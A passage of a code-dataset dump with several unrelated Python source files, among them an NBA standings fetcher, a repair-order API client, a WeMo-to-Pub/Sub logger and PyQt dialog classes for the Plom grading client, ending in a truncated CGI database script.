Args:\n name: The name of the model you wish to load. If no name is\n specified, the function will still look for a model under the path\n specified by `data_path`. If multiple models are available in that\n path, it will require you to pass in a name to specify which one to\n use.\n path: Pass in a path if the model is not located in the\n `data_path`. Otherwise it will assume that it is.\n\n Raise:\n Exception if passed in name/path is invalid and doesn't exist\n \"\"\"\n\n # set path\n if not path:\n if self.dataset:\n path = Path(self.dataset.root) / \"models\"\n else:\n raise Exception(\"Specify a `path` parameter\")\n\n # if name is given..\n if name:\n model_path = path / name\n\n pt_path = model_path / \"model.pt\"\n if not pt_path.exists():\n raise Exception(\n f\"No model file named model.pt exists in {model_path}\"\n )\n\n meta_path = model_path / \"meta.json\"\n if not meta_path.exists():\n raise Exception(\n f\"No model file named meta.txt exists in {model_path}\"\n )\n\n # if no name is given, we assume there is only one model, otherwise we\n # throw an error\n else:\n models = [f.path for f in os.scandir(path) if f.is_dir()]\n\n if len(models) == 0:\n raise Exception(f\"No model found in {path}.\")\n elif len(models) > 1:\n print(\n f\"Multiple models were found in {path}. Please specify which you wish to use in the `name` argument.\"\n )\n for model in models:\n print(model)\n exit()\n else:\n pt_path = Path(models[0]) / \"model.pt\"\n meta_path = Path(models[0]) / \"meta.json\"\n\n # load into model\n self.model.load_state_dict(\n torch.load(pt_path, map_location=torch_device())\n )\n\n # load meta info\n with open(meta_path, \"r\") as meta_file:\n meta_data = json.load(meta_file)\n self.labels = meta_data[\"labels\"]\n\n @classmethod\n def from_saved_model(cls, name: str, path: str, mask: bool = False) -> \"DetectionLearner\":\n \"\"\" Create an instance of the DetectionLearner from a saved model.\n\n This function expects the format that is outputted in the `save`\n function.\n\n Args:\n name: the name of the model you wish to load\n path: the path to get your model from\n mask: if the model is an instance of maskrcnn\n\n Returns:\n A DetectionLearner object that can inference.\n \"\"\"\n path = Path(path)\n\n meta_path = path / name / \"meta.json\"\n assert meta_path.exists()\n\n im_size, labels = None, None\n with open(meta_path) as json_file:\n meta_data = json.load(json_file)\n im_size = meta_data[\"im_size\"]\n labels = meta_data[\"labels\"]\n\n if mask:\n model = get_pretrained_maskrcnn(\n len(labels) + 1, min_size=im_size, max_size=im_size\n )\n else:\n model = get_pretrained_fasterrcnn(\n len(labels) + 1, min_size=im_size, max_size=im_size\n )\n\n detection_learner = DetectionLearner(model=model, labels=labels)\n detection_learner.load(name=name, path=path)\n return detection_learner\n","repo_name":"microsoft/computervision-recipes","sub_path":"utils_cv/detection/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":28459,"program_lang":"python","lang":"en","doc_type":"code","stars":9169,"dataset":"github-code","pt":"21"} +{"seq_id":"11361347296","text":"import pandas as pd\nfrom pandas.io.json import json_normalize\nimport requests\nfrom datetime import datetime, timedelta\nimport time\nimport sqlite3\nimport logging\nimport os\n\nPLAYERS = {0: 'Chris',\n 1: 'Luke',\n 2: 'Dennis',\n 3: 'Noe',\n 4: 'Marc',\n 5: 'Ryne',\n 6: 'Dom',\n 7: 'Jason',\n 8: 'Nick',\n 9: 'Luis'\n }\nRUN_SQL = True\nTEAMS = {'TOR': 0, 'PHX': 0, 'IND': 0,\n 'GSW': 1, 'DET': 1, 'ORL': 1,\n 'BOS': 2, 'CHA': 2, 'SAC': 2,\n 'NOP': 3, 'PHI': 3, 'CLE': 3,\n 'MEM': 4, 'MIL': 4, 'ATL': 4,\n 'HOU': 5, 'MIA': 5, 'NYK': 5,\n 'UTA': 6, 'DEN': 6, 'CHI': 6,\n 'LAL': 7, 'MIN': 7, 'BKN': 7,\n 'SAS': 8, 'POR': 8, 'LAC': 8,\n 'OKC': 9, 'WAS': 9, 'DAL': 9\n }\n\n\ndef get_env():\n sql_connection = os.getenv('SQL_CONNECTION')\n time_value = os.getenv('NBA_WIN_TIME')\n return {'SQL_CONNECTION': sql_connection, 'TIME': int(time_value)}\n\n\ndef get_standings(logger):\n logger.info('Getting standings')\n i = 0\n date_now = datetime.now() - timedelta(days=i)\n date_now = str(date_now.year) + str(date_now.strftime(\"%m\")) + str(date_now.strftime(\"%d\"))\n url = 'http://data.nba.net/data/10s/prod/v1/' + date_now + '/standings_all.json'\n r = requests.get(url=url)\n while not r.ok:\n i += 1\n logger.info('going back ' + str(i) + ' day')\n date_now = datetime.now() - timedelta(days=i)\n date_now = str(date_now.year) + str(date_now.strftime(\"%m\")) + str(date_now.strftime(\"%d\"))\n url = 'http://data.nba.net/data/10s/prod/v1/' + date_now + '/standings_all.json'\n r = requests.get(url=url)\n\n standings = r.json()\n return standings\n\n\ndef main():\n logging.basicConfig(format='%(asctime)s %(levelname)-8s %(message)s', datefmt='%Y-%m-%d %H:%M:%S')\n\n logger = logging.getLogger('nba-win-api')\n logging.getLogger().setLevel(logging.INFO)\n env = get_env()\n while True:\n standings = get_standings(logger)\n recent_date = standings['_internal'].get('pubDateTime', datetime.now())\n logger.info('Data current as of: ' + recent_date)\n standings = standings[\"league\"]['standard']['teams']\n\n standings = json_normalize(standings)\n standings = standings[['win', 'loss', 'teamId']]\n standings['teamId'] = standings['teamId'].astype(int)\n standings['win'] = standings['win'].astype(int)\n standings['loss'] = standings['loss'].astype(int)\n\n url = 'http://data.nba.net/'\n r = requests.get(url=url)\n if r.ok:\n meta = r.json()\n else:\n logging.warning('Could not find meta NBA data')\n logging.warning(str(r.ok))\n continue\n\n teams = json_normalize(meta['sports_content']['teams']['team'])\n teams = teams[teams['is_nba_team']==True]\n teams = teams[['team_abbrev', 'team_id', 'team_nickname']]\n\n standings = standings.merge(teams, left_on='teamId', right_on='team_id')\n\n standings.loc[:, 'usr'] = standings['team_abbrev'].map(TEAMS).map(PLAYERS)\n\n standings_agg = standings.groupby('usr')[['win', 'loss']].sum().sort_values(ascending=False, by='win')\n standings_agg['win_percentage'] = standings_agg['win'] / (standings_agg['win'] + standings_agg['loss'])\n standings_agg['weighted_rank'] = standings_agg['win_percentage'].rank(ascending=False)\n standings_agg['raw_rank'] = standings_agg['win'].rank(ascending=False)\n standings_agg.loc[:, 'timestamp'] = recent_date\n standings_agg['timestamp'] = pd.to_datetime(standings_agg['timestamp'])\n standings_agg['user_name'] = standings_agg.index\n logger.info(standings_agg)\n if RUN_SQL is True:\n conn = sqlite3.connect(env['SQL_CONNECTION'])\n standings_agg.to_sql('standings', con=conn, if_exists='replace')\n logger.info('successfully wrote to db')\n cursor = conn.cursor()\n cursor.execute('SELECT timestamp FROM standings_history')\n times = cursor.fetchall()\n if len(times) > 0:\n times = pd.to_datetime(pd.DataFrame(times)[0])\n if sum(standings_agg['timestamp'].isin(times)) == 0:\n logger.info('wrote to standing_history table')\n standings_agg.to_sql('standings_history', con=conn, if_exists='append')\n else:\n logger.info('new iteration putting data in standing_history')\n standings_agg.to_sql('standings_history', con=conn, if_exists='append')\n\n logger.info('Sleeping for ' + str(env['TIME']) + ' minutes....')\n time.sleep(60 * env['TIME'])\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"velaraptor/nba_win_flask","sub_path":"nba_api_service/fetch_standings.py","file_name":"fetch_standings.py","file_ext":"py","file_size_in_byte":4767,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"10205935711","text":"# -*- coding:utf8 -*-\nimport datetime\nimport time\nfrom common.base import consoleLog\nfrom common.interface_wfl import myRequest, upLoadPhoto\nfrom isz.infoClass import ApartmentInfo, RepairOrderInfo\n\n\nclass Repair(RepairOrderInfo):\n \"\"\"报修相关\n :param apartmentIdOrNum:房源编号或者ID\n \"\"\"\n _uploadPhotoURL = 'http://rsm.ishangzu.com/isz_repair/CommUploadPhotoController/uploadPhoto'\n\n def __init__(self, orderNumOrId):\n\n super(Repair, self).__init__(orderNumOrId)\n\n @classmethod\n def createRepair(cls, apartmentCodeOrId):\n \"\"\"新增报修订单\n :param apartmentCodeOrId 房源Code或者Id\n \"\"\"\n apartment = ApartmentInfo(apartmentCodeOrId)\n apartment_contract = apartment.apartment_contract\n if apartment_contract:\n apartment_contract_id = apartment_contract.apartment_contract_id\n apartment_contract_num = apartment_contract.apartment_contract_num\n customer = apartment_contract.custmoer_person()\n customer_id = customer.person_id\n customer_name = customer.customer_name\n customer_phone = customer.phone\n else:\n apartment_contract_id = None\n apartment_contract_num = None\n customer_id = None\n customer_name = None\n customer_phone = None\n url = 'http://rsm.ishangzu.com/isz_repair/RepairsController/repairsOrder'\n img = upLoadPhoto(url=cls._uploadPhotoURL, filename='AddRepairs.png',\n filepath=r\"C:\\Users\\user\\Desktop\\Image\\\\\") # 报修图片上传\n data = {\n \"house_id\": apartment.house_id,\n \"house_contract_id\": apartment.house_contract_id,\n \"apartment_contract_id\": apartment_contract_id,\n \"apartment_contract_num\": apartment_contract_num,\n \"apartment_num\": apartment.apartment_code,\n \"apartment_type\": apartment.apartment_type,\n \"rent_status\": apartment.rent_status,\n \"rent_type\": apartment.rent_type,\n \"house_address\": apartment.apartment_property_name,\n \"apartment_id\": apartment.apartment_id,\n \"customer_id\": customer_id,\n \"customer_name\": customer_name,\n \"house_property\": apartment.property_name,\n \"room_id\": apartment.room_id,\n \"linkman_name\": customer_name if customer_name else u'维修联系人',\n \"linkman_phone\": customer_phone if customer_phone else '13600000000',\n \"repairs_area\": \"WOSHI\",\n \"repairs_type\": \"WOSHIZHUTI\",\n \"repairs_project\": \"WOSHIZHUTIDIAODING\",\n \"content\": \"破损\",\n \"supplier_repair\": \"ONLINEUP\", # 申请报修方式\n \"repair_status\": \"N\",\n \"repairs_source\": \"ERP\",\n \"invited_date\": (datetime.datetime.now() + datetime.timedelta(hours=3)).strftime('%Y-%m-%d %H:%M:%S'),\n \"repairsLableRelation\": [\n {\n \"label_id\": \"cb5d6e75ede111e6ae531866daf07138\",\n \"label_type\": \"ANGUANLOUSHUI\"\n }, {\n \"label_id\": \"cb57cb5aede111e6ae531866daf07138\",\n \"label_type\": \"POSUN\"\n }, {\n \"label_id\": \"cb522df3ede111e6ae531866daf07138\",\n \"label_type\": \"TUOLUO\"\n }\n ],\n \"repairsCost\": {\n \"supplier_name\": \"\",\n \"supplier_person_name\": \"\",\n \"supplier_person_phone\": \"\",\n \"total_cost\": \"\",\n \"finish_time\": \"\",\n \"remark\": \"\",\n \"repairsCostDetails\": [{\n \"bears_money\": \"\",\n \"bears_name\": \"\",\n \"bears_type\": \"\",\n \"buckle_price_date\": \"1971-01-01 00:00:00\",\n \"contract_id\": \"\",\n \"contract_num\": \"\",\n \"cost_type\": \"\",\n \"housing_uid\": \"\",\n \"housing_name\": \"\",\n \"housing_money\": \"\",\n \"customers_uid\": \"\",\n \"customers_name\": \"\",\n \"customers_money\": \"\",\n \"buckle_money_type\": \"\",\n \"isCompany\": False\n }]\n },\n \"repairsAttachments\": [{\n \"img_id\": img.id,\n \"img_url\": img.url,\n \"remark\": \"\",\n \"sort\": \"\"\n }],\n }\n if myRequest(url, data):\n consoleLog(u'房源 %s 已添加报修' % apartment.apartment_code)\n\n\n def placeOrder(self):\n url = 'http://rsm.ishangzu.com/isz_repair/RepairsController/order/operation/FF8080816349F0F2016349FA50C10052'\n data = {\n \"cooperation_type\": \"Y\", # 是否合作\n \"supplier_id\": \"8A2152435BAF8739015BB39E767C007E\", # 供应商ID\n \"order_status\": \"STAYDISTRIBUTION\", # 当前订单状态\n \"remark\": u'WFL下单',\n \"order_id\": self.order_id,\n \"update_time\": time.strftime('%Y-%m-%d %H:%M:%S')\n }\n if myRequest(url, data):\n consoleLog(u'维修订单:%s已下单,供应商为')\n\n\n def cancel(self):\n url = 'http://rsm.ishangzu.com/isz_repair/RepairsController/order/%s/cancel' % self.order_id\n data = {\n 'order_id': self.order_id,\n 'reason': 'cancel by test',\n 'update_time': '{}{}'.format(time.strftime('%Y-%m-%d %H:%M:%S'), '.0')\n }\n if myRequest(url, data, method='put'):\n consoleLog(u'订单:%s 已取消' % self.order_no)\n\n","repo_name":"bestwfl/isz","sub_path":"isz/repair.py","file_name":"repair.py","file_ext":"py","file_size_in_byte":5696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26744728214","text":"#!/usr/bin/env python\n\nimport argparse\nimport sys\nimport json\nimport time\nimport os\n\nfrom google.cloud import pubsub\n\nfrom ouimeaux.environment import Environment\nfrom ouimeaux.utils import matcher\nfrom ouimeaux.signals import receiver, statechange, devicefound\n\n\ndef create_topic_if_needed(pubsub_client, topic_name):\n # Prepares the new topic\n topic = pubsub_client.topic(topic_name, timestamp_messages=True)\n if not topic.exists():\n topic.create()\n print('Topic {} created.'.format(topic.name))\n return topic\n\n\ndef publish_insight_data(topic, name, insight_params):\n data = insight_params\n data['lastchange'] = int(data['lastchange'].strftime(\"%s\"))\n\n timestamp = int(time.strftime(\"%s\"))\n json_data = \"%s\\n\" % json.dumps({ \"name\": name, \"timestamp\": timestamp, \"data\": data })\n topic.publish(json_data.encode('utf-8'))\n\n\ndef do(env, names, pubsub_client):\n for name in names:\n switch = env.get_switch(name)\n topic = create_topic_if_needed(pubsub_client, \"insight_switches\")\n publish_insight_data(topic, name, switch.insight_params)\n\n\ndef mainloop(names, pubsub_client, times=0, delay=10):\n env = Environment(with_cache=False)\n env.start()\n env.discover(5)\n\n if times < 1:\n while True:\n do(env,names,pubsub_client)\n time.sleep(delay)\n else:\n for i in range(0, times):\n do(env,names,pubsub_client)\n time.sleep(delay)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\"insight-logger\")\n parser.add_argument(\"--delay\", type=int, default=10,\n help=\"delay between device queries.\")\n parser.add_argument(\"--times\", type=int, default=0,\n help=\"number of times to query the device.\")\n parser.add_argument(\"--keyfile\", type=str,\n help=\"keyfile for service account to authenticate with GCP\")\n parser.add_argument(\"name\", metavar=\"SWITCHNAME\", nargs=\"+\",\n help=\"Names of the WeMo Insight switch(es)\")\n\n args = parser.parse_args()\n\n try:\n pubsub_client = pubsub.Client.from_service_account_json(args.keyfile)\n except Exception as exception:\n print >>sys.stderr, \"Error getting a pubsub client, exiting.\"\n print >>sys.stderr, exception\n sys.exit(-1)\n\n try:\n mainloop(args.name, pubsub_client, times=args.times, delay=args.delay)\n except (KeyboardInterrupt,SystemExit) as ex:\n print >>sys.stderr, \"Exiting\"\n sys.exit(0)\n","repo_name":"vicenteg/wemomon","sub_path":"insight-logger-pubsub.py","file_name":"insight-logger-pubsub.py","file_ext":"py","file_size_in_byte":2516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35236896902","text":"import numpy as np\n\nDTYPE = [('a', '<i8'), ('b', '<i8')]\nNDATA = np.ones((4), dtype=DTYPE)\nNDATA['a'].fill(4)\nNDATA['b'].fill(4)\nNDATA2 = np.ones((4), dtype=DTYPE)\nNDATA2['a'] = np.arange(4)\nNDATA2['b'] = np.arange(4)[::-1]\nNDATA3 = np.ones((4), dtype=DTYPE)\nNDATA3['a'] = np.arange(4)\nNDATA3['b'] = [2, 23, 13, 7]\nDTYPE = [('a', '<i8'), ('b', 'O')]\nNDATA4 = np.ones((4), dtype=DTYPE)\nNDATA4['a'] = np.arange(4)\nNDATA4['b'] = ['2', '23', '13', '7']\n\nKWARGS = {}\nCONTENTS = NDATA\nCONTENTS2 = NDATA2\nCONTENTS3 = NDATA3\nCONTENTS4 = NDATA4","repo_name":"kelceydamage/raspi-tasks","sub_path":"rtl/tests/dummy_data.py","file_name":"dummy_data.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"35663681455","text":"import sys\nsys.stdin = open(\"연습문제3.txt\")\n\ndef BFS(V):\n que = []\n que.append(V)\n # visited[V] = 1\n while que:\n v = que.pop(0)\n print(v, end =\" \")\n for i in range(0, 2*E, 2):\n if b[i] == v and not visited[b[i+1]]:\n visited[b[i+1]] = visited[v] + 1\n que.append(b[i+1])\n print()\n print(f'최대 간선 길이: {max(visited)}')\n\nif __name__ == \"__main__\":\n V, E = map(int, input().split())\n b = list(map(int, input().split()))\n\n visited = [0 for _ in range(V + 1)]\n\n BFS(1)\n","repo_name":"gogumasitda/TIL","sub_path":"algorithm/0225/연습문제3_2.py","file_name":"연습문제3_2.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"9337859184","text":"import numpy as np\nimport pandas as pd\nfrom typing import List, Dict, Tuple\n\nfrom .embedding import get_embedding\n\n\ndef vector_similarity(x: List[float], y: List[float]) -> float:\n return np.dot(np.array(x), np.array(y))\n\n\ndef order_document_sections_by_query_similarity(\n query: str, contexts: pd.DataFrame\n):\n query_embedding = get_embedding(query)\n document_similarities = sorted([\n (vector_similarity(query_embedding, doc.embedding), idx)\n for idx, doc in contexts.iterrows()\n ], reverse=True)\n return document_similarities\n","repo_name":"Kystvakt/OpenAI","sub_path":"processing/similarity.py","file_name":"similarity.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7995253282","text":"from PyQt6.QtCore import Qt, pyqtSignal\nfrom PyQt6.QtWidgets import (\n QAbstractItemView,\n QCheckBox,\n QComboBox,\n QDialog,\n QDialogButtonBox,\n QGridLayout,\n QFormLayout,\n QFrame,\n QLabel,\n QLineEdit,\n QMessageBox,\n QPushButton,\n QTableView,\n QTextEdit,\n QToolButton,\n QVBoxLayout,\n)\n\nfrom plom import isValidStudentNumber\n\n\nclass ErrorMsg(QMessageBox):\n \"\"\"A simple error message pop-up.\n\n See also subclasses ``WarnMsg`` and ``InfoMsg``, in order of\n decreasing implied severity.\n\n args:\n parent (QWidget): the parent of this dialog. If you think you\n should pass ``None`` you should think again very carefully.\n txt (str): the main error message.\n\n kw-args:\n details (str/None): a potentially large amount of details. Might\n be hidden by default. Should be copy-pastable. Generally\n pre-formatted.\n info (str/None): some more details, like an error message or part\n of an error message. Will be presented smaller or otherwise\n deemphasized.\n info_pre (bool): True by default which means the info text\n is assumed to be preformatted (whitespace, newlines etc will be\n preserved). Long lines will be wrapped.\n \"\"\"\n\n def __init__(self, parent, txt, details=None, info=None, info_pre=True):\n super().__init__(parent)\n self.setText(txt)\n if details:\n self.setDetailedText(details)\n if info:\n if info_pre:\n self.setInformativeText(\n f'<small><pre style=\"white-space: pre-wrap;\">\\n{info}\\n</pre></small>'\n )\n else:\n self.setInformativeText(f\"<small>{info}</small>\")\n self.setStandardButtons(QMessageBox.StandardButton.Ok)\n self.setDefaultButton(QMessageBox.StandardButton.Ok)\n self.setIcon(QMessageBox.Icon.Critical)\n\n\nclass WarnMsg(ErrorMsg):\n \"\"\"A simple warning message pop-up.\"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.setIcon(QMessageBox.Icon.Warning)\n\n\nclass InfoMsg(ErrorMsg):\n \"\"\"A simple warning message pop-up.\"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.setIcon(QMessageBox.Icon.Information)\n\n\nclass SimpleQuestion(QMessageBox):\n \"\"\"A simple message pop-up with yes/no buttons and question icon.\"\"\"\n\n def __init__(self, parent, txt, question=None, details=None, icon_pixmap=None):\n super().__init__(parent)\n self.setText(txt)\n if details:\n self.setDetailedText(details)\n if question:\n self.setInformativeText(question)\n if icon_pixmap:\n self.setIconPixmap(icon_pixmap)\n else:\n self.setIcon(QMessageBox.Icon.Question)\n self.setStandardButtons(\n QMessageBox.StandardButton.Yes | QMessageBox.StandardButton.No\n )\n self.setDefaultButton(QMessageBox.StandardButton.Yes)\n\n @classmethod\n def ask(cls, *args, **kwargs):\n return cls(*args, **kwargs).exec()\n\n\nclass WarningQuestion(SimpleQuestion):\n \"\"\"A simple message pop-up with yes/no buttons and warning icon.\"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.setIcon(QMessageBox.Icon.Warning)\n\n\nclass SimpleQuestionCheckBox(QMessageBox):\n \"\"\"A simple message pop-up with yes/no buttons and a checkbox.\n\n Args:\n txt: plaintext or html content for the dialog\n cbtxt: optional text for the checkbox else default\n \"\"\"\n\n def __init__(self, parent, txt, cbtxt=None):\n super().__init__(parent)\n if cbtxt:\n self.cb = QCheckBox(cbtxt)\n else:\n self.cb = QCheckBox(\"Don't show this message again\")\n self.setText(txt)\n self.setStandardButtons(\n QMessageBox.StandardButton.Yes | QMessageBox.StandardButton.No\n )\n self.setDefaultButton(QMessageBox.StandardButton.Yes)\n self.setIcon(QMessageBox.Icon.Question)\n self.setCheckBox(self.cb)\n\n\nclass SimpleTableView(QTableView):\n \"\"\"A table-view widget that emits annotateSignal when\n the user hits enter or return.\n \"\"\"\n\n # This is picked up by the marker, lets it know to annotate\n annotateSignal = pyqtSignal()\n\n def __init__(self, parent):\n super().__init__(parent)\n # User can sort, cannot edit, selects by rows.\n self.setSortingEnabled(True)\n self.setEditTriggers(QAbstractItemView.EditTrigger.NoEditTriggers)\n self.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows)\n # Resize to fit the contents\n self.resizeRowsToContents()\n self.horizontalHeader().setStretchLastSection(True)\n\n def keyPressEvent(self, event):\n # If user hits enter or return, then fire off\n # the annotateSignal, else pass the event on.\n key = event.key()\n if key == Qt.Key.Key_Return or key == Qt.Key.Key_Enter:\n self.annotateSignal.emit()\n else:\n super(SimpleTableView, self).keyPressEvent(event)\n\n\nclass BlankIDBox(QDialog):\n def __init__(self, parent, testNumber):\n super().__init__(parent)\n self.testNumber = testNumber\n self.setWindowTitle(\"What is blank on test/paper {}?\".format(testNumber))\n grid = QGridLayout()\n\n grid.addWidget(\n QLabel(\"Please scan through the whole paper before continuing.\"), 0, 1, 1, 2\n )\n\n self.blankB = QPushButton(\"Whole paper is &blank\")\n self.noIDB = QPushButton(\"&No ID given but not blank\")\n self.noB = QPushButton(\"&Cancel\")\n\n self.blankB.clicked.connect(lambda: self.done(1))\n self.noIDB.clicked.connect(lambda: self.done(2))\n self.noB.clicked.connect(self.reject)\n grid.addWidget(QLabel(\"Please check to confirm!\"), 1, 2)\n grid.addWidget(\n QLabel(\"There is writing on other this or other pages.\"),\n 2,\n 2,\n )\n grid.addWidget(self.blankB, 1, 1)\n grid.addWidget(self.noIDB, 2, 1)\n grid.addWidget(self.noB, 3, 1)\n self.setLayout(grid)\n\n\nclass SNIDBox(QDialog):\n def __init__(self, parent, id_name_text):\n super().__init__(parent)\n self.sidLE = QLineEdit()\n self.snameLE = QLineEdit()\n self.guessInput(id_name_text)\n self.okB = QPushButton(\"&Done\")\n self.cancelB = QPushButton(\"&Cancel\")\n fl = QFormLayout()\n fl.addRow(QLabel(\"Student ID:\"), self.sidLE)\n fl.addRow(QLabel(\"Student name:\"), self.snameLE)\n fl.addRow(self.okB)\n fl.addRow(self.cancelB)\n self.setLayout(fl)\n\n self.okB.clicked.connect(self.check)\n self.cancelB.clicked.connect(self.reject)\n self.sid = \"\"\n self.sname = \"\"\n\n def guessInput(self, id_name_text):\n \"\"\"Extract the digits from id_name_text and use it to fill the sid-entry, and then extract alphabetic from id_name_text and use it to fill the sname-entry\"\"\"\n sid = \"\"\n sname = \"\"\n for c in id_name_text:\n # if it is a number add it to sid\n if c.isdigit():\n sid += c\n # if it is alphabetic add it to sname\n elif c.isalpha() or c in [\" \", \",\"]:\n sname += c\n else:\n pass\n self.sidLE.setText(sid.strip())\n self.snameLE.setText(sname.strip())\n\n def check(self):\n self.sid = self.sidLE.text().strip()\n self.sname = self.snameLE.text().strip()\n if not isValidStudentNumber(self.sid):\n ErrorMsg(self, \"Not a valid student number.\").exec()\n return\n if not self.sname:\n ErrorMsg(\n self,\n \"<p>Student name should not be blank.</p>\"\n \"<p>(If you cannot read it, use “Unknown”.)</p>\",\n ).exec()\n return\n self.accept()\n\n\nclass ClientSettingsDialog(QDialog):\n def __init__(self, parent, s, logdir, cfgfile, tmpdir):\n super().__init__(parent)\n self.setWindowTitle(\"Plom client options\")\n\n flay = QFormLayout()\n\n self.comboLog = QComboBox()\n self.comboLog.addItems([\"Debug\", \"Info\", \"Warning\", \"Error\", \"Critical\"])\n self.comboLog.setCurrentText(s.get(\"LogLevel\", \"Info\"))\n flay.addRow(\"Logging level:\", self.comboLog)\n moreinfo = QLabel(\n \"(In order of severity; less serious messages will not be logged)\"\n )\n flay.addWidget(moreinfo)\n\n self.checkLogFile = QCheckBox(\"Log to file (requires restart)\")\n self.checkLogFile.setChecked(s.get(\"LogToFile\", False))\n flay.addWidget(self.checkLogFile)\n flay.addWidget(QLabel(\"(Logs stored in {})\".format(logdir)))\n\n line = QFrame()\n line.setFrameShape(QFrame.Shape.HLine)\n line.setFrameShadow(QFrame.Shadow.Sunken)\n flay.addRow(line)\n\n self.checkFore = QCheckBox(\"Force foreground upload/downloads\")\n self.checkFore.setChecked(s.get(\"FOREGROUND\", False))\n flay.addWidget(self.checkFore)\n\n moreinfo = QLabel(\n \"By default, Plom does these operations in background threads.\\n\"\n \"Checking this (e.g., for debugging or paranoia) will result in\\n\"\n \"delays between papers.\"\n )\n # moreinfo.setWordWrap(True)\n flay.addWidget(moreinfo)\n\n line = QFrame()\n line.setFrameShape(QFrame.Shape.HLine)\n line.setFrameShadow(QFrame.Shadow.Sunken)\n flay.addRow(line)\n\n self.checkWarnCom = QCheckBox(\n \"Warn on insufficient feedback (e.g., no comments)\"\n )\n self.checkWarnMark = QCheckBox(\"Warn if score is inconsistent with annotations\")\n flay.addWidget(self.checkWarnCom)\n flay.addWidget(self.checkWarnMark)\n self.checkWarnCom.setChecked(s.get(\"CommentsWarnings\", False))\n\n self.checkWarnMark.setChecked(s.get(\"MarkWarnings\", False))\n if not s.get(\"POWERUSER\"):\n self.checkWarnCom.setEnabled(False)\n self.checkWarnMark.setEnabled(False)\n\n line = QFrame()\n line.setFrameShape(QFrame.Shape.HLine)\n line.setFrameShadow(QFrame.Shadow.Sunken)\n flay.addRow(line)\n flay.addRow(\"Config file:\", QLabel(\"{}\".format(cfgfile)))\n tempdir_prefix = \"plom_\"\n q = QLabel('{}, in subfolders \"{}*\"'.format(tmpdir, tempdir_prefix))\n q.setWordWrap(True)\n q.setAlignment(Qt.AlignmentFlag.AlignTop)\n flay.addRow(\"Temporary files:\", q)\n\n buttons = QDialogButtonBox(\n QDialogButtonBox.StandardButton.Ok | QDialogButtonBox.StandardButton.Cancel\n )\n\n vlay = QVBoxLayout()\n vlay.addLayout(flay)\n vlay.addWidget(buttons)\n self.setLayout(vlay)\n\n buttons.accepted.connect(self.accept)\n buttons.rejected.connect(self.reject)\n\n def get_options_back(self):\n return {\n \"FOREGROUND\": self.checkFore.isChecked(),\n \"LogLevel\": self.comboLog.currentText(),\n \"LogToFile\": self.checkLogFile.isChecked(),\n \"CommentsWarning\": self.checkWarnCom.isChecked(),\n \"MarkWarnings\": self.checkWarnMark.isChecked(),\n }\n\n\nclass BigTextEdit(QTextEdit):\n \"\"\"Just like QTextEdit but wants to be twice as big.\"\"\"\n\n def sizeHint(self):\n sz = super().sizeHint()\n sz.setWidth(sz.width() * 2)\n sz.setHeight(sz.height() * 2)\n return sz\n\n\nclass BigMessageDialog(QDialog):\n \"\"\"A dialog for showing lots of stuff, might need scrollbars.\n\n Args:\n parent (QWidget): who should parent this modal dialog.\n summary (str): an text or html summary.\n\n Keyword Args:\n detail (str): HTML for some longer details.\n show (bool): if True (default), the details will be shown\n else they will start hidden.\n \"\"\"\n\n def __init__(self, parent, summary, *, details=\"\", show=True):\n super().__init__(parent)\n lay = QVBoxLayout()\n\n _ = BigTextEdit()\n _.setHtml(details)\n _.setReadOnly(True)\n self.details_TE = _\n\n # we monkey patch the size hint width from textedit\n sz = self.details_TE.sizeHint()\n sz.setHeight(1)\n\n def _hack_sizeHint():\n return sz\n\n s = QLabel(summary)\n setattr(s, \"sizeHint\", _hack_sizeHint)\n\n lay.addWidget(s)\n\n buttons = QDialogButtonBox(QDialogButtonBox.StandardButton.Ok)\n b = QToolButton(text=\"Details\")\n b.setCheckable(True)\n b.clicked.connect(self.toggle_details)\n buttons.addButton(b, QDialogButtonBox.ButtonRole.ActionRole)\n lay.addWidget(buttons)\n self.setLayout(lay)\n\n if show:\n lay.addWidget(self._details)\n lay.addWidget(buttons)\n b.setChecked(True)\n self.details_TE.setVisible(True)\n else:\n lay.addWidget(buttons)\n # QMessageBox has a horizontal rule\n line = QFrame()\n line.setFrameShape(QFrame.Shape.HLine)\n line.setFrameShadow(QFrame.Shadow.Sunken)\n lay.addWidget(line)\n self._line = line\n line.setVisible(False)\n lay.addWidget(self.details_TE)\n b.setChecked(False)\n self.details_TE.setVisible(False)\n b.setArrowType(Qt.ArrowType.DownArrow)\n b.setToolButtonStyle(Qt.ToolButtonStyle.ToolButtonTextBesideIcon)\n self.toggle_button = b\n\n buttons.accepted.connect(self.accept)\n self.setSizeGripEnabled(True)\n\n def toggle_details(self):\n if self.details_TE.isVisible():\n self._line.setVisible(False)\n self.details_TE.setVisible(False)\n self.toggle_button.setArrowType(Qt.ArrowType.DownArrow)\n self.adjustSize()\n else:\n self.details_TE.setVisible(True)\n self._line.setVisible(True)\n self.toggle_button.setArrowType(Qt.ArrowType.UpArrow)\n self.adjustSize()\n","repo_name":"plomgrading/plom","sub_path":"plom/client/useful_classes.py","file_name":"useful_classes.py","file_ext":"py","file_size_in_byte":14151,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"21"} +{"seq_id":"36603141","text":"import psycopg2\nimport cgi\n\n#値を受け取ってDBでやりとりする\n#form_check = 0 #form_check を 0 としている\nform = cgi.FieldStorage()\nname = form.getvalue('name', '')\nid = form.getvalue('id', '')\n\nf = 